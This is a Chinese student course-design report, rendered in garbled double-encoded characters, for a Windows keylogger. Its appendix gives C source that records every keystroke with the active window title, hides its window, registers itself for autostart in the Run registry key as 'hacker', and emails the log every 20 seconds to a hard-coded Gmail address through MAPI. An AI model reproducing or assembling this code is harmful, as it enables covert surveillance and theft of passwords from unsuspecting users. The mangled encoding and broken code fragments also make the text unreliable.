鍵盤監(jiān)聽程序課程設(shè)計_第1頁
已閱讀1頁,還剩11頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

1、<p><b>  目 錄</b></p><p><b>  目 錄1</b></p><p><b>  一 設(shè)計目的2</b></p><p><b>  二 設(shè)計內(nèi)容2</b></p><p><b>  三 設(shè)計要求

2、2</b></p><p><b>  四 設(shè)計過程2</b></p><p>  1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟2</p><p><b>  2、消息循環(huán)4</b></p><p>  3、編寫窗口過程函數(shù)5</p><p>  4、自啟動模塊設(shè)計6&

3、lt;/p><p>  5、定時發(fā)送郵件模塊設(shè)計6</p><p><b>  6、程序流程圖8</b></p><p><b>  五 設(shè)計總結(jié)9</b></p><p><b>  參考文獻9</b></p><p><b>  一 設(shè)

4、計目的</b></p><p>  通過本次課程設(shè)計,設(shè)計一個鍵盤監(jiān)聽程序,系統(tǒng)啟動后自動記錄所有鍵盤信息的功能,能夠記錄鍵盤的輸入值,且該程序具有自動啟動功能,并能夠定期通過網(wǎng)絡(luò)給某人的指定的郵箱發(fā)送所記錄的信息。</p><p><b>  二 設(shè)計內(nèi)容</b></p><p>  1、題目分析,查找資料和總體設(shè)計。</p

5、><p>  2、詳細設(shè)計、代碼編制、程序調(diào)試。系統(tǒng)功能要求如下:</p><p>  模塊一 該部分通過設(shè)計一個窗口,并在窗口中響應(yīng)鍵盤消息,記錄鍵盤的相關(guān)按鍵記錄,實現(xiàn)鍵盤監(jiān)聽的功能。</p><p>  模塊二 該部分通過對注冊表的修改,將該程寫入注冊表,實現(xiàn)該程序的隨系統(tǒng)的啟動而啟動。</p><p>  模塊三 該部分通過調(diào)用系統(tǒng)

6、的定時函數(shù),實現(xiàn)郵件的定時發(fā)送。</p><p>  3、結(jié)果分析、完成課程設(shè)計報告。</p><p><b>  三 設(shè)計要求</b></p><p>  1、學(xué)生能夠較深入的理解網(wǎng)絡(luò)編成的設(shè)計方法,并在所要求的設(shè)計時間內(nèi),利用自己所熟悉的語言完成本題目的程序編制。</p><p>  2、程序要能正確運行,完成預(yù)功能

7、。</p><p>  3、要求設(shè)計清晰、美觀的用戶界面,當(dāng)操作出錯時,程序要有出錯提示信息。</p><p>  4、上交設(shè)計報告。重點闡述程序的有關(guān)算法說明、程序的流程圖以及子程序的功能和參數(shù)的說明及程序代碼。</p><p><b>  四 設(shè)計過程</b></p><p>  1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟</

8、p><p> ?。?)WinMain函數(shù)的定義</p><p>  WinMain函數(shù)的原型聲明如下:</p><p>  int WINAPI WinMain(</p><p>  HINSTANCE hInstande,</p><p>  HINSTANCE hPrevInstance,</p>

9、<p>  LPSTR IpCmdLine,</p><p>  Int nCmdShow</p><p><b>  );</b></p><p>  WinMain函數(shù)接收4個參數(shù),這些參數(shù)都是在系統(tǒng)調(diào)用WinMian函數(shù)時,傳遞給應(yīng)用程序的。</p><p>  第一個參數(shù)hInstance表示

10、該程序當(dāng)前運行的實例的句柄。第二個參數(shù)hPrevInstance表示當(dāng)前實例的前一個實例的句柄。第三個參數(shù)IpCmdLine是一個以空終止的空符串,第四個參數(shù)nCmdShow指定程序的窗口應(yīng)該如何顯示。</p><p><b> ?。?)創(chuàng)建一個窗口</b></p><p><b>  設(shè)計一個窗口類</b></p><p&g

11、t;  一個完整的窗口有許多的特征,包括光標(biāo)、圖標(biāo)、背景色等。因此在創(chuàng)建一個窗口之前,要對該類型的窗口進行設(shè)計,指定該窗口的相關(guān)特征。Windows為我們定義了一個窗口所應(yīng)該有的基本屬性。在此次的程序中,運用了wndClass這樣一個函數(shù),來實現(xiàn)窗口屬性的設(shè)置。其中的第二個成員變量IpfnWndProc是一個函數(shù)指針,指向窗口過程函數(shù),窗口過程函數(shù)是一個回調(diào)函數(shù)?;卣{(diào)函數(shù)在特定的事件或條件發(fā)生時由另外一方調(diào)用的,用于對該事件或條件進行響

12、應(yīng)。</p><p><b> ?。?)注冊窗口類</b></p><p>  調(diào)用RegisterClass函數(shù)對窗口進行注冊,注冊成功后才能創(chuàng)建該類型的窗口。具體實現(xiàn)如下:RegisterClass(&wndClass);</p><p><b> ?。?)創(chuàng)建窗口</b></p><p&g

13、t;  設(shè)計好窗口并且將其注冊成功后,就可以用CreateWindow函數(shù)產(chǎn)生這種類型的窗口了。其函數(shù)的原型聲明如下:</p><p>  HWND CreateWindow(</p><p>  LPCTSTR lpClassName, // registered class name</p><p>  LPCTSTR lpWindowName, // win

14、dow name</p><p>  DWORD dwStyle, // window style</p><p>  int x, // horizontal position of window</p><p>  int y, // vertical position of window

15、</p><p>  int nWidth, // window width</p><p>  int nHeight, // window height</p><p>  HWND hWndParent, // handle to parent or owner window</p><p&g

16、t;  HMENU hMenu, // menu handle or child identifier</p><p>  HINSTANCE hInstance, // handle to application instance</p><p>  LPVOID lpParam // window-creation data</p>&l

17、t;p><b>  );</b></p><p> ?。?)顯示及更新窗口</p><p>  其中,顯示窗口通過ShowWindow函數(shù)實現(xiàn)。更新窗口通過UpdateWindow函數(shù)實現(xiàn)。到此,一個窗口函數(shù)的創(chuàng)建就算完成了。</p><p><b>  2、消息循環(huán)</b></p><p>

18、  (1)編寫一個消息循環(huán),不斷的從消息隊列中取出消息,并進行響應(yīng)。要從消息隊列中取出消息,我們需要調(diào)用GetMessage()函數(shù)。通常的消息循環(huán)函數(shù)的代碼如下:</p><p>  while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b>  {</b></p><p>  Tra

19、nslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p><p>  DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b>  }</b></p><p>  GetMessage函數(shù)只有在接收到WM_QUIT消息時,才返回0。此時whi

20、le語句的判斷條件為假,循環(huán)退出,程序才能結(jié)束運行。在沒有接收到WM_QUIT消息時,Windows應(yīng)用程序就通過while循環(huán)來保證程序始終處于運行狀態(tài)。</p><p>  Windows應(yīng)用程序的消息處理機制如下圖所示:</p><p><b>  圖2-1</b></p><p>  (2)操作系統(tǒng)接收到應(yīng)用程序的窗口消息,將消息投遞到

21、該應(yīng)用程序的消息隊列中。</p><p> ?。?)應(yīng)用程序在消息循環(huán)中調(diào)用GetMessage函數(shù)從消息隊列中取出一條一條的消息。取出消息后,應(yīng)用程序可以對消息進行一些預(yù)處理,例如,放棄對某些消息的響應(yīng),或者調(diào)用TranslateMessage產(chǎn)生新的消息。</p><p> ?。?)應(yīng)用程序調(diào)用DispatchMessage,將消息回傳給操作系統(tǒng),消息是由MSG結(jié)構(gòu)體對象來表示的,其中

22、就包含了接收消息的窗口的句柄。因此,DispatchMessage函數(shù)總能進行正確的傳遞。</p><p> ?。?)系統(tǒng)調(diào)用WNDCLASS結(jié)構(gòu)體的IpfnWndProc成員保存的窗口過程函數(shù)的指針調(diào)用窗口過程,對消息進行處理。</p><p> ?。?)發(fā)送消息可以使用SendMessage和PostMessage函數(shù)。SendMessage將消息直接發(fā)送給窗口,并調(diào)用該窗口的窗口過程

23、進行處理。在窗口過程對消息處理完畢后,該函數(shù)才返回。PostMessage函數(shù)將消息放入與創(chuàng)建窗口的線程相關(guān)聯(lián)的消息隊列后立即返回。除了兩個函數(shù)外,還有一個PostThreadMessage函數(shù),用于向線程發(fā)送消息,對于線程消息,MSG結(jié)構(gòu)體中的hwnd成員為NULL。</p><p>  3、編寫窗口過程函數(shù)</p><p> ?。?)窗口過程函數(shù)用于處理發(fā)送給窗口的消息。一個Windo

24、ws應(yīng)用程序的主要代碼部分就集中在窗口過程函數(shù)中。窗口過程函數(shù)的聲明如下:</p><p>  LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) </p><p>  { HDC hdc;</p><p>  PAINTSTRUCT

25、 ps; </p><p><b>  }</b></p><p><b> ?。?)具體函數(shù)中有</b></p><p>  按鍵消息處理,通過WM_INPUT實現(xiàn),當(dāng)發(fā)現(xiàn)有按鍵消息時,通過GetRawInputData函數(shù)獲得原始的按鍵信息,再通過WriteFile寫入文件中,寫下按鍵記錄。</p>&l

26、t;p>  繪制窗口的界面,通過WM_PAINT完成。當(dāng)窗口客戶區(qū)的一部分或者全部變?yōu)闊o效是,系統(tǒng)會發(fā)送WM_PAINT消息,通知應(yīng)用程序重新繪制窗口,當(dāng)窗口剛創(chuàng)建的時候,整個客戶區(qū)都是無效的,因為這個時候程序還沒有在窗口上繪制任何東西,當(dāng)調(diào)用UpdateWindows函數(shù)時,會發(fā)送WM_PAINT消息給窗口過程,對窗口進行刷新.</p><p>  完成后,需要對窗口進行撤銷,使用WM_DESTROY完成

27、。當(dāng)用戶單擊窗口傷的關(guān)閉按鈕的時候,系統(tǒng)會給應(yīng)用程序發(fā)送一條WM_CLOSE消息,首先彈出一個消息框,讓用戶確認(rèn)是否結(jié)束.用戶選擇是,則調(diào)用DestroyWindows函數(shù)銷毀窗口, DestroyWindows函數(shù)在銷毀窗口后會向窗口發(fā)送WM_DESTROY消息,此時,窗口銷毀了,但是應(yīng)用程序并沒有退出.GetMessage函數(shù)只有在收到WM_QUIT消息才返回0,此時消息循環(huán)才結(jié)束,程序退出.想要讓程序退出,我們必須響應(yīng)WM_DES

28、TROY消息,并在消息響應(yīng)代碼中調(diào)用PostQuitMessage.向應(yīng)用程序的消息隊列中投遞WM_QUIT消息,傳遞給PostQuitMessage函數(shù)的參數(shù)值將作為WM_QUIT消息的wParam參數(shù),這個值通常用作WinMain函數(shù)的返回值。DefWindowProc函數(shù)調(diào)用默認(rèn)的窗口過程,對應(yīng)用程序沒有處理的其他消息進行默認(rèn)處理.</p><p><b>  4、自啟動模塊設(shè)計</b>

29、;</p><p>  (1)該部分通過將程序的可執(zhí)行程序?qū)懭胱员?,實現(xiàn)隨著系統(tǒng)的啟動而啟動。</p><p>  自啟動有兩種方法,第一種方法是,在本地計算機中打開注冊表編輯器,找到下面的鍵值:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows   然后在Windows鍵值下新建一個字符串鍵值,

30、并更名為load,雙擊打開這個字符串鍵值,接著把彈出窗口的“數(shù)值數(shù)據(jù)”中設(shè)置要隨系統(tǒng)自動運行的程序的路徑即可。需要注意的是,輸入的路徑文件名是短文件名。(2)另一種方法同樣是在注冊表中進行設(shè)置,找到鍵值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor,找到并雙擊“AutoRun”這項,然后將鍵值設(shè)置為需要啟動的程序即可。這兩種方法都可以.在實驗中,運用了方法一,通過&qu

31、ot;Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到鍵值,再通過hkResult,"hacker"/ 注冊表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBD</p><p>  5、定時發(fā)送郵件模塊設(shè)計</p><p

32、><b> ?。?)郵件發(fā)送功能</b></p><p>  通過Simple MAPI的函數(shù)以及相關(guān)的數(shù)據(jù)結(jié)構(gòu),根據(jù)其結(jié)構(gòu)可以很簡單的實現(xiàn)發(fā)送郵件的功能。實現(xiàn)一個完整的郵件發(fā)送過程,只需要一個函數(shù)“MAPISendMail()”, MAPI 與郵件系統(tǒng)關(guān)系密切,要能夠使用MAPI的功能,系統(tǒng)必須安裝有支持 MAPI 的郵件系統(tǒng),比如Outlook、Outlook Express、Eu

33、dora、Netscape等.在本次設(shè)計中,郵件系統(tǒng)使用的是outlook,經(jīng)過測試,發(fā)現(xiàn)沒有問題。</p><p>  首先是MAPI庫的初始化,包括兩個步驟:裝載MAPI庫、得到函數(shù)入口地址。</p><p>  發(fā)送郵件 MAPISendMail(),發(fā)送郵件功能就是對MAPISendMail()的封裝。下面解釋這個API函數(shù)的參數(shù)定義。</p><p>  

34、ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage, FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved這三個參數(shù),簡單地設(shè)置為0就可以了。flFlags有三個有效位,分別是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI

35、_NEW_SESSION。</p><p>  重點是 lpMessage 這個參數(shù),它指向一個MapiMessage類型的結(jié)構(gòu),詳細地定義了一個郵件的全部信息。</p><p> ?。?)結(jié)構(gòu)MapiMessage</p><p>  使用時首先定義一個MapiMessage類型的變量,將其清零。現(xiàn)在我們只要簡單地設(shè)定lpszSubject(標(biāo)題)、lpszNot

36、eText(正文)、lpOriginator(發(fā)件人)、nRecipCount(收件人計數(shù),),lpRecips(一個包含全部收件人的數(shù)組),nFileCount(附件計數(shù))、lpFiles(包含每個附件信息的數(shù)組)。nRecipCount 和 nFileCount 的值一定要與實際的收件人和附件數(shù)目相符。</p><p> ?。?)結(jié)構(gòu) MapiRecipDesc</p><p>  必

37、須設(shè)置 ulRecipClass、lpszName、lpszAddress</p><p>  (4)結(jié)構(gòu) MapiFileDesc</p><p>  必須設(shè)置的有l(wèi)pszPathName、nPosiotion兩個參數(shù)</p><p><b>  (5)定時功能</b></p><p>  定時功能通過調(diào)用系統(tǒng)函數(shù)Se

38、tTimer()來實現(xiàn)。其聲明原型如下</p><p>  UINT_PTR SetTimer(</p><p>  HWND hWnd, // handle to window</p><p>  UINT_PTR nIDEvent, // timer identifier</p><p>  UINT

39、uElapse, // time-out value</p><p>  TIMERPROC lpTimerFunc // timer procedure</p><p><b>  );</b></p><p>  此程序中的時間值設(shè)置的是20秒,也就是說每隔20秒,程序會向指定的郵箱發(fā)送鍵盤記錄。</p>

40、<p><b>  6、程序流程圖</b></p><p> ?。?)鍵盤監(jiān)控流程圖</p><p>  圖6-1鍵盤監(jiān)控流程圖</p><p><b>  五 設(shè)計總結(jié)</b></p><p>  通過這次的鍵盤監(jiān)聽程序的設(shè)計,使得我對窗口中響應(yīng)鍵盤消息的機制更加深入的了解了,通過對

41、窗口的屬性設(shè)置、注冊窗口類、創(chuàng)建窗口、顯示窗口、更新窗口、消息循環(huán)、窗口過程函數(shù)的編寫,具體深入的體會了窗口響應(yīng)鍵盤消息的實現(xiàn)過程和方法。同時,對于Windows的許多函數(shù)有了進一步運用與了解,如運用MAPI發(fā)送郵件的使用規(guī)則、運用CreateWindow()進行窗口的創(chuàng)建、窗口過程函數(shù)的編寫、GetForegroundWindow的使用等等,提高了編程的能力。</p><p>  關(guān)于程序運行時,無法實現(xiàn)郵件發(fā)

42、送的問題,經(jīng)過反復(fù)的調(diào)試,都無法發(fā)現(xiàn)問題。把發(fā)送郵件的程序提取出來單獨運行時,發(fā)現(xiàn)是沒有問題的,能夠正確的發(fā)送郵件。但是,把這個程序完整的放入到整個程序中后,卻無法發(fā)送郵件。最后發(fā)現(xiàn)是由于進程的互斥問題。記錄的文件一直處于打開狀態(tài),并且不斷地有記錄向文件中寫入,這時想要訪問該文件當(dāng)然是不被允許的。究其原因,還是由于設(shè)計程序是沒有考慮操作系統(tǒng)的問題,文件打開后沒有立刻關(guān)閉。在今后的程序設(shè)計中,要考慮關(guān)于操作系統(tǒng)的同步互斥問題。這種問題的出

43、現(xiàn),也正好提醒我要把學(xué)過的每一門專業(yè)課都學(xué)扎實,切實提高自己的編程功力,這樣,才能夠做到真正的提高。</p><p>  試驗中遇到了不少的問題,有些通過上網(wǎng)查閱資料解決了,還有些通過與同學(xué)的交流,發(fā)現(xiàn)并解決了問題.盡管過程有些漫長,但是,在這個逐步解決問題的過程中,無論是自學(xué)能力,查閱資料的能力還是實際的動手能力都有了較大的提高.我想,只有通過不斷的諸如此類的課程設(shè)計,才能夠更好的檢驗我們平時所學(xué)的知識。<

44、;/p><p><b>  參考文獻</b></p><p>  [1]《計算機網(wǎng)絡(luò)安全教程》石志國 薛為民 江俐 編著 清華大學(xué)出版社 北京交通大學(xué)出版社 2004年</p><p>  [2]《計算機網(wǎng)絡(luò)安全基礎(chǔ)》袁津生 吳硯農(nóng) 編 人民郵電出版社2002年</p><p>  [3]網(wǎng)站:www.csdn.com<

45、;/p><p><b>  附錄</b></p><p>  1、窗口函數(shù)的實現(xiàn)源代碼:</p><p>  INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)//主函數(shù)</p><p><b>  {</b>&l

46、t;/p><p>  HWND hWnd;</p><p>  MSG msg;</p><p>  WNDCLASS wndClass;</p><p>  wndClass.style = CS_HREDRAW | CS_VREDRAW;&l

47、t;/p><p>  wndClass.lpfnWndProc = WndProc;</p><p>  wndClass.cbClsExtra = 0;</p><p>  wndClass.cbWndExtra = 0;</p><p>  wndClass.hInstance = hInstance;<

48、/p><p>  wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);</p><p>  wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);</p><p>  wndClass.hbrBackground = (HBRUSH)GetStockO

49、bject(WHITE_BRUSH);</p><p>  wndClass.lpszMenuName = NULL;</p><p>  wndClass.lpszClassName = TEXT("KBDLoger"); //窗口屬性設(shè)置</p><p>  RegisterClass(&wnd

50、Class); //注冊窗口類 </p><p>  hWnd = CreateWindow( //創(chuàng)建窗口</p><p>  TEXT("KBDL

51、oger"), // window class name</p><p>  TEXT("KBDLoger"), // window caption</p><p>  WS_OVERLAPPEDWINDOW, // window style</p><p>  200, // initial x

52、position</p><p>  200, // initial y position</p><p>  480, // initial x size</p><p>  110, // initial y size</p><p>  NULL,

53、 // parent window handle</p><p>  NULL, // window menu handle</p><p>  hInstance, // program instance handle</p><p>  NULL);

54、 // creation parameters</p><p>  while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b>  {</b></p><p>  TranslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p&g

55、t;<p>  DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b>  }</b></p><p>  return msg.wParam; }</p><p>  LRESULT CALLBACK WndProc(HWND hWnd, UINT message,

56、 WPARAM wParam, LPARAM lParam) //窗口過程函數(shù)</p><p><b>  {</b></p><p>  if (raw->header.dwType == RIM_TYPEKEYBOARD) </p><p><b>  {</b></p><p>  hw

57、ndCW = GetForegroundWindow();// 獲取當(dāng)前鍵盤焦點窗口名稱</p><p>  GetWindowText(hwndCW, wtitle, 128);</p><p>  wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey));</p>

58、;<p>  if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey))</p><

59、;p><b>  {</b></p><p>  SetFilePointer(hFile, 0, NULL, FILE_END);</p><p>  WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL);</p><p><b>  }</b></p&

60、gt;<p>  if( VK_HOME == raw->data.keyboard.VKey) //按下home鍵顯示窗口</p><p>  ShowWindow(hWnd, SW_NORMAL);</p><p>  if( VK_END == raw->data.keyboard.VKey) //按下end鍵隱藏窗口</p><p&g

61、t;  ShowWindow(hWnd, SW_HIDE);</p><p><b>  }</b></p><p>  delete[] lpb; </p><p>  DefWindowProc(hWnd, message, wParam, lParam);</p><p><b>  return 0;&

62、lt;/b></p><p>  case WM_PAINT: //窗口繪制</p><p>  hdc = BeginPaint(hWnd, &ps);</p><p>  TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo));</p>&l

63、t;p>  EndPaint(hWnd, &ps);</p><p><b>  return 0;</b></p><p>  case WM_DESTROY: //退出窗口</p><p>  PostQuitMessage(0);</p><p>  CloseH

64、andle(hFile);</p><p><b>  return 0;</b></p><p><b>  default:</b></p><p>  return DefWindowProc(hWnd, message, wParam, lParam);//對應(yīng)用程序未處理的消息提供默認(rèn)處理</p>

65、<p>  PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)</p><p><b>  {</b></p><p>  HMODULE hDll = LoadLibraryA(dllname);//可執(zhí)行模塊映射到進程地址空間</p><p>  if(NULL == hDll)<

66、;/p><p>  return NULL;</p><p>  PVOID pProc = GetProcAddress(hDll, procname);//獲取導(dǎo)出函數(shù)的地址</p><p>  FreeLibrary(hDll);</p><p>  return pProc;</p><p><b>  

67、}</b></p><p>  2、郵件定時發(fā)送源代碼</p><p><b>  //收件人結(jié)構(gòu)信息</b></p><p>  MapiRecipDesc recip;</p><p>  memset(&recip,0,sizeof(MapiRecipDesc));</p><

68、;p>  recip.lpszAddress="SMTP:yangjiankun11@gmail.com";</p><p>  recip.ulRecipClass = MAPI_TO;</p><p>  recip.lpszName = "SMTP:yangjiankun11@gmail.com";</p><p&g

69、t;<b>  //附件結(jié)構(gòu)信息</b></p><p>  MapiFileDesc FileDesc;</p><p>  memset(&FileDesc,0,sizeof(FileDesc));</p><p>  FileDesc.lpszPathName="F:\\KBDLogger\\kebodlog1.txt&

70、quot;;</p><p>  FileDesc.nPosition=(ULONG)-1;//附件在郵件中的位置</p><p><b>  //郵件結(jié)構(gòu)信息</b></p><p>  MapiMessage message;</p><p>  memset(&message,0,sizeof(messag

71、e));</p><p>  message.nRecipCount = 1; //收件人的個數(shù)</p><p>  message.lpRecips = &recip; //收件人信息</p><p>  message.nFileCount = 1; //附件的個數(shù)</p><p>  messa

72、ge.lpFiles = &FileDesc; //附件信息</p><p>  message.lpszSubject = "鍵盤記錄";//主題信息</p><p>  message.lpszNoteText = ""; //正文內(nèi)容</p><p>  ULONG (PASCAL *lpfnSe

73、ndMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);</p><p>  (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");取出"MAPISendMail"</p><p><b>  3、自啟動源代碼</b>&

74、lt;/p><p>  char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //修改注冊表,自動啟動</p><p>  HKEY hkResult;</p><p>  int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&a

75、mp;hkResult);</p><p>  ret=RegSetValueEx(hkResult,"hacker"/注冊表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBDLogger.exe",32); //獲得可執(zhí)行程序的位置,寫入注冊表</p><p>  i

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論